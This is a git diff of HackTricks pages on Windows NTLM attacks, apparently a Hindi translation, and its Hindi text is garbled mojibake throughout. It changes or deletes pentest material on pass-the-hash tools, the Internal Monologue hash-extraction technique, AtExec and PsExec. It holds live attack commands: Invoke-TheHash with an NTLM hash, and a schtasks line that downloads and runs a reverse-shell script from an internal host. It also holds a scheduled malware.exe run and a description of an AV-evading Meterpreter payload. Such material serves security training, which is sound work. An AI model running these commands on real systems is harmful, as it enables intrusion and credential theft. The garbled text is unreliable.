рд╕рдХрддреЗ рд╣реИрдВред\ [**рдпрд╣рд╛рдВ рдкрд╣реБрдВрдЪреЗрдВ рдпрд╣ рд╕реАрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдЗрд╕реЗ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИред**](https://github.com/carlospolop/hacktricks/blob/master/windows/ntlm/broken-reference/README.md) ### Impacket Windows рд╕рдВрдХрд▓рд┐рдд рдЙрдкрдХрд░рдг @@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff ``` #### Invoke-TheHash -рдпрд╣ рдлрд╝рдВрдХреНрд╢рди **рдЕрдиреНрдп рд╕рднреА рдХрд╛ рдорд┐рд╢реНрд░рдг** рд╣реИред рдЖрдк **рдХрдИ рд╣реЛрд╕реНрдЯ** рдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, **рдХреБрдЫ рдХреЛ рдмрд╛рд╣рд░** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрдк рдЬрд┐рд╕ **рд╡рд┐рдХрд▓реНрдк** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЙрд╕реЗ **рдЪреБрди рд╕рдХрддреЗ рд╣реИрдВ** (_SMBExec, WMIExec, SMBClient, SMBEnum_)ред рдпрджрд┐ рдЖрдк **SMBExec** рдФрд░ **WMIExec** рдореЗрдВ рд╕реЗ **рдХрд┐рд╕реА рднреА рдПрдХ** рдХрд╛ рдЪрдпрди рдХрд░рддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЖрдк рдХреЛрдИ _**Command**_ рдкреИрд░рд╛рдореАрдЯрд░ рдирд╣реАрдВ рджреЗрддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдмрд╕ **рдЬрд╛рдВрдЪ рдХрд░реЗрдЧрд╛** рдХрд┐ рдХреНрдпрд╛ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рд╣реИрдВред +рдпрд╣ рдлрд╝рдВрдХреНрд╢рди **рдЕрдиреНрдп рд╕рднреА рдХрд╛ рдорд┐рд╢реНрд░рдг** рд╣реИред рдЖрдк **рдХрдИ рд╣реЛрд╕реНрдЯ** рдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, **рдХреБрдЫ рдХреЛ рдмрд╛рд╣рд░** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЖрдк рдЬрд┐рд╕ **рд╡рд┐рдХрд▓реНрдк** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЙрд╕реЗ **рдЪреБрди рд╕рдХрддреЗ рд╣реИрдВ** (_SMBExec, WMIExec, SMBClient, SMBEnum_)ред рдпрджрд┐ рдЖрдк **SMBExec** рдФрд░ **WMIExec** рдореЗрдВ рд╕реЗ **рдХреЛрдИ рднреА** рдЪреБрдирддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди рдЖрдк рдХреЛрдИ _**Command**_ рдкреИрд░рд╛рдореАрдЯрд░ рдирд╣реАрдВ рджреЗрддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдмрд╕ **рдЬрд╛рдВрдЪ рдХрд░реЗрдЧрд╛** рдХрд┐ рдХреНрдпрд╛ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ** рд╣реИрдВред ``` Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` @@ -224,23 +224,35 @@ Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100 **рдкреНрд░рд╢рд╛рд╕рдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рд╛рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ** -рдпрд╣ рдЙрдкрдХрд░рдг рд╡рд╣реА рдХрд░реЗрдЧрд╛ рдЬреЛ mimikatz (LSASS рдореЗрдореЛрд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛) рдХрд░рддрд╛ рд╣реИред +рдпрд╣ рдЙрдкрдХрд░рдг рд╡рд╣реА рдХрд╛рдо рдХрд░реЗрдЧрд╛ рдЬреЛ mimikatz (LSASS рдореЗрдореЛрд░реА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛) рдХрд░рддрд╛ рд╣реИред ``` wce.exe -s ::: ``` -### рдореИрдиреБрдЕрд▓ рд╡рд┐рдВрдбреЛрдЬрд╝ рд░рд┐рдореЛрдЯ рдирд┐рд╖реНрдкрд╛рджрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде +### рдореИрдиреБрдЕрд▓ рд╡рд┐рдВрдбреЛрдЬ рд░рд┐рдореЛрдЯ рдирд┐рд╖реНрдкрд╛рджрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде {{#ref}} ../lateral-movement/ {{#endref}} -## рд╡рд┐рдВрдбреЛрдЬрд╝ рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд┐рдХрд╛рд▓рдирд╛ +## рд╡рд┐рдВрдбреЛрдЬ рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдирд┐рдХрд╛рд▓рдирд╛ -**рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП** [**рдХреИрд╕реЗ рд╡рд┐рдВрдбреЛрдЬрд╝ рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ, рдЖрдкрдХреЛ рдЗрд╕ рдкреГрд╖реНрда рдХреЛ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рд┐рдП**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.** +**рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП** [**рдХреИрд╕реЗ рд╡рд┐рдВрдбреЛрдЬ рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ, рдЖрдкрдХреЛ рдпрд╣ рдкреГрд╖реНрда рдкрдврд╝рдирд╛ рдЪрд╛рд╣рд┐рдП**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.** + +## рдЖрдВрддрд░рд┐рдХ рдореЛрдиреЛрд▓реЙрдЧ рд╣рдорд▓рд╛ + +рдЖрдВрддрд░рд┐рдХ рдореЛрдиреЛрд▓реЙрдЧ рд╣рдорд▓рд╛ рдПрдХ рдЫрд┐рдкрд╛ рд╣реБрдЖ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдирд┐рдХрд╛рд▓рдиреЗ рдХреА рддрдХрдиреАрдХ рд╣реИ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреА рдорд╢реАрди рд╕реЗ NTLM рд╣реИрд╢ рдХреЛ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ **рдмрд┐рдирд╛ LSASS рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рд╛рде рд╕реАрдзреЗ рдмрд╛рддрдЪреАрдд рдХрд┐рдП**ред Mimikatz рдХреЗ рд╡рд┐рдкрд░реАрдд, рдЬреЛ рд╣реИрд╢ рдХреЛ рд╕реАрдзреЗ рдореЗрдореЛрд░реА рд╕реЗ рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдЕрдХреНрд╕рд░ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╛рдзрд╛рдиреЛрдВ рдпрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдЧрд╛рд░реНрдб рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рд╣реЛрддрд╛ рд╣реИ, рдпрд╣ рд╣рдорд▓рд╛ **рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рд╕рдкреЛрд░реНрдЯ рдкреНрд░реЛрд╡рд╛рдЗрдбрд░ рдЗрдВрдЯрд░рдлреЗрд╕ (SSPI) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреИрдХреЗрдЬ (MSV1_0) рдХреЗ рд▓рд┐рдП рд╕реНрдерд╛рдиреАрдп рдХреЙрд▓ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ**ред рд╣рдорд▓рд╛рд╡рд░ рдкрд╣рд▓реЗ **NTLM рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рдбрд╛рдЙрдирдЧреНрд░реЗрдб рдХрд░рддрд╛ рд╣реИ** (рдЬреИрд╕реЗ, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ NetNTLMv1 рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред рдлрд┐рд░ рд╡реЗ рдЪрд▓ рд░рд╣реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдореМрдЬреВрджрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЯреЛрдХрди рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЬреНрдЮрд╛рдд рдЪреБрдиреМрддреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ NetNTLMv1 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рдЙрддреНрдкрдиреНрди рдХреА рдЬрд╛ рд╕рдХреЗрдВред + +рдЗрди NetNTLMv1 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдорд▓рд╛рд╡рд░ **рдкреВрд░реНрд╡-рдЧрдгрдирд╛ рдХрд┐рдП рдЧрдП рд░реЗрдирдмреЛ рдЯреЗрдмрд▓реНрд╕** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдореВрд▓ NTLM рд╣реИрд╢ рдХреЛ рдЬрд▓реНрджреА рд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкрд╛рд░реНрд╢реНрд╡ рдЖрдВрджреЛрд▓рди рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдХреЗ рдкрд╛рд╕-рджреА-рд╣реИрд╢ рд╣рдорд▓реЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдорд╣рддреНрд╡рдкреВрд░реНрдг рд░реВрдк рд╕реЗ, рдЖрдВрддрд░рд┐рдХ рдореЛрдиреЛрд▓реЙрдЧ рд╣рдорд▓рд╛ рдЫрд┐рдкрд╛ рд░рд╣рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд╝рд┐рдХ рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░рддрд╛, рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдирд╣реАрдВ рдХрд░рддрд╛, рдпрд╛ рд╕реАрдзреЗ рдореЗрдореЛрд░реА рдбрдВрдк рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рдХрд░рддрд╛, рдЬрд┐рд╕рд╕реЗ рдЗрд╕реЗ рдкрд╛рд░рдВрдкрд░рд┐рдХ рддрд░реАрдХреЛрдВ рдЬреИрд╕реЗ Mimikatz рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдкрд╣рдЪрд╛рдирдирд╛ рдХрдард┐рди рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред + +рдпрджрд┐ NetNTLMv1 рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИтАФрдХреНрдпреЛрдВрдХрд┐ рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐рдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рд╣рдорд▓рд╛рд╡рд░ NetNTLMv1 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред + +рдЗрд╕ рдорд╛рдорд▓реЗ рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдВрддрд░рд┐рдХ рдореЛрдиреЛрд▓реЙрдЧ рдЙрдкрдХрд░рдг рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛: рдпрд╣ `AcceptSecurityContext()` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╕рд░реНрд╡рд░ рдЯреЛрдХрди рдХреЛ рдЧрддрд┐рд╢реАрд▓ рд░реВрдк рд╕реЗ рдЕрдзрд┐рдЧреНрд░рд╣рд┐рдд рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрджрд┐ NetNTLMv1 рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдП рддреЛ **NetNTLMv2 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рдХреИрдкреНрдЪрд░ рдХреА рдЬрд╛ рд╕рдХреЗрдВ**ред рдЬрдмрдХрд┐ NetNTLMv2 рдХреЛ рдХреНрд░реИрдХ рдХрд░рдирд╛ рдмрд╣реБрдд рдХрдард┐рди рд╣реИ, рдпрд╣ рдлрд┐рд░ рднреА рд╕реАрдорд┐рдд рдорд╛рдорд▓реЛрдВ рдореЗрдВ рд░рд┐рд▓реЗ рд╣рдорд▓реЛрдВ рдпрд╛ рдСрдлрд╝рд▓рд╛рдЗрди рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдорд╛рд░реНрдЧ рдЦреЛрд▓рддрд╛ рд╣реИред + +PoC **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)** рдкрд░ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ## NTLM рд░рд┐рд▓реЗ рдФрд░ рд░рд┐рд╕реНрдкреЙрдиреНрдбрд░ -**рдЗрди рд╣рдорд▓реЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдЧрд╛рдЗрдб рдкрдврд╝реЗрдВ:** +**рдЗрди рд╣рдорд▓реЛрдВ рдХреЛ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ, рдЗрд╕ рдкрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдЧрд╛рдЗрдб рдкрдврд╝реЗрдВ:** {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md diff --git a/src/windows-hardening/ntlm/atexec.md b/src/windows-hardening/ntlm/atexec.md deleted file mode 100644 index c439db280..000000000 --- a/src/windows-hardening/ntlm/atexec.md +++ /dev/null @@ -1,27 +0,0 @@ -# AtExec / SchtasksExec - -{{#include ../../banners/hacktricks-training.md}} - -## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ - -At рдЖрдкрдХреЛ рдЙрди рд╣реЛрд╕реНрдЯ рдореЗрдВ рдХрд╛рд░реНрдп рд╢реЗрдбреНрдпреВрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо/(рдкрд╛рд╕рд╡рд░реНрдб/рд╣реИрд╢) рдЬрд╛рдирддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреНрдп рд╣реЛрд╕реНрдЯ рдореЗрдВ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдФрд░ рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -``` -At \\victim 11:00:00PM shutdown -r -``` -schtasks рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдХрд╛рд░реНрдп рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛ рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ рдХреЙрд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛: -```bash -schtasks /create /n /tr C:\path\executable.exe /sc once /st 00:00 /S /RU System -schtasks /run /tn /S -``` - -```bash -schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'" -schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local -``` -рдЖрдк [SharpLateral](https://github.com/mertdas/SharpLateral) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -```bash -SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName -``` -[**рд╕рд┐рд▓реНрд╡рд░ рдЯрд┐рдХрдЯ рдХреЗ рд╕рд╛рде schtasks рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ**](../active-directory-methodology/silver-ticket.md#host). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md index af2d3500b..1b311a896 100644 --- a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md +++ b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -**[https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) рд╕реЗ рд╕рднреА рдмреЗрд╣рддрд░реАрди рд╡рд┐рдЪрд╛рд░реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ** -рдСрдирд▓рд╛рдЗрди рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рд╡рд░реНрдб рдлрд╝рд╛рдЗрд▓ рдХреЗ рдбрд╛рдЙрдирд▓реЛрдб рд╕реЗ рд▓реЗрдХрд░ NTLM рд▓реАрдХ рд╕реНрд░реЛрдд: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md +**[https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) рд╕реЗ рдорд╛рдЗрдХреНрд░реЛрд╕реЙрдлреНрдЯ рд╡рд░реНрдб рдлрд╝рд╛рдЗрд▓ рдСрдирд▓рд╛рдЗрди рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рд▓реЗрдХрд░ NTLM рд▓реАрдХ рд╕реНрд░реЛрдд: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md рдФрд░ [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods) рддрдХ рд╕рднреА рдмреЗрд╣рддрд░реАрди рд╡рд┐рдЪрд╛рд░реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред** + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/psexec-and-winexec.md b/src/windows-hardening/ntlm/psexec-and-winexec.md deleted file mode 100644 index 82f3cef7b..000000000 --- a/src/windows-hardening/ntlm/psexec-and-winexec.md +++ /dev/null @@ -1,38 +0,0 @@ -# PsExec/Winexec/ScExec - -{{#include ../../banners/hacktricks-training.md}} - -## рдпреЗ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ - -рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдЪрд░рдгреЛрдВ рдореЗрдВ рд╕реНрдкрд╖реНрдЯ рдХреА рдЧрдИ рд╣реИ, рдЬреЛ рджрд┐рдЦрд╛рддреА рд╣реИ рдХрд┐ рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреЛ рд▓рдХреНрд╖рд┐рдд рдорд╢реАрди рдкрд░ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд░рд╕реНрде рдирд┐рд╖реНрдкрд╛рджрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рд╣реЗрд░рдлреЗрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: - -1. **ADMIN$ рд╢реЗрдпрд░ рдкрд░ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдХреА рдХреЙрдкреА** рдХреА рдЬрд╛рддреА рд╣реИред -2. **рджреВрд░рд╕реНрде рдорд╢реАрди рдкрд░ рдПрдХ рд╕реЗрд╡рд╛ рдХрд╛ рдирд┐рд░реНрдорд╛рдг** рдмрд╛рдЗрдирд░реА рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -3. рд╕реЗрд╡рд╛ **рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ рд╢реБрд░реВ рдХреА рдЬрд╛рддреА рд╣реИ**ред -4. рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдкрд░, рд╕реЗрд╡рд╛ **рд░реЛрдХ рджреА рдЬрд╛рддреА рд╣реИ, рдФрд░ рдмрд╛рдЗрдирд░реА рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред - -### **PsExec рдХреЛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛** - -рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдкреЗрд▓реЛрдб рд╣реИ (рдЬреЛ msfvenom рдХреЗ рд╕рд╛рде рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рдкрд╣рдЪрд╛рди рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП Veil рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЫрд┐рдкрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ), рдЬрд┐рд╕рдХрд╛ рдирд╛рдо 'met8888.exe' рд╣реИ, рдЬреЛ рдПрдХ рдореАрдЯрд░рдкреНрд░реАрдЯрд░ рд░рд┐рд╡рд░реНрд╕_http рдкреЗрд▓реЛрдб рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддрд╛ рд╣реИ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд░рдг рдЙрдард╛рдП рдЬрд╛рддреЗ рд╣реИрдВ: - -- **рдмрд╛рдЗрдирд░реА рдХреА рдХреЙрдкреА рдХрд░рдирд╛**: рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдХреЛ ADMIN$ рд╢реЗрдпрд░ рдкрд░ рдХрдорд╛рдВрдб рдкреНрд░реЙрдореНрдкреНрдЯ рд╕реЗ рдХреЙрдкреА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЗрд╕реЗ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХрд╣реАрдВ рднреА рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рдЫрд┐рдкрд╛ рд░рд╣реЗред - -- **рдПрдХ рд╕реЗрд╡рд╛ рдмрдирд╛рдирд╛**: Windows `sc` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЬреЛ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ Windows рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рдХреНрд╡реЗрд░реА, рдмрдирд╛рдиреЗ рдФрд░ рд╣рдЯрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, "meterpreter" рдирд╛рдордХ рдПрдХ рд╕реЗрд╡рд╛ рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ рдЬреЛ рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдмрд╛рдЗрдирд░реА рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддреА рд╣реИред - -- **рд╕реЗрд╡рд╛ рд╢реБрд░реВ рдХрд░рдирд╛**: рдЕрдВрддрд┐рдо рдЪрд░рдг рдореЗрдВ рд╕реЗрд╡рд╛ рдХреЛ рд╢реБрд░реВ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рд╕рдВрднрд╡рддрдГ "рдЯрд╛рдЗрдо-рдЖрдЙрдЯ" рддреНрд░реБрдЯрд┐ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдмрд╛рдЗрдирд░реА рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕реЗрд╡рд╛ рдмрд╛рдЗрдирд░реА рдирд╣реАрдВ рд╣реИ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛрдб рд▓реМрдЯрд╛рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд░рд╣рддреА рд╣реИред рдпрд╣ рддреНрд░реБрдЯрд┐ рдорд╣рддреНрд╡рд╣реАрди рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рд╛рдердорд┐рдХ рд▓рдХреНрд╖реНрдп рдмрд╛рдЗрдирд░реА рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╣реИред - -Metasploit рд╢реНрд░реЛрддрд╛ рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд░рдиреЗ рдкрд░ рдкрддрд╛ рдЪрд▓реЗрдЧрд╛ рдХрд┐ рд╕рддреНрд░ 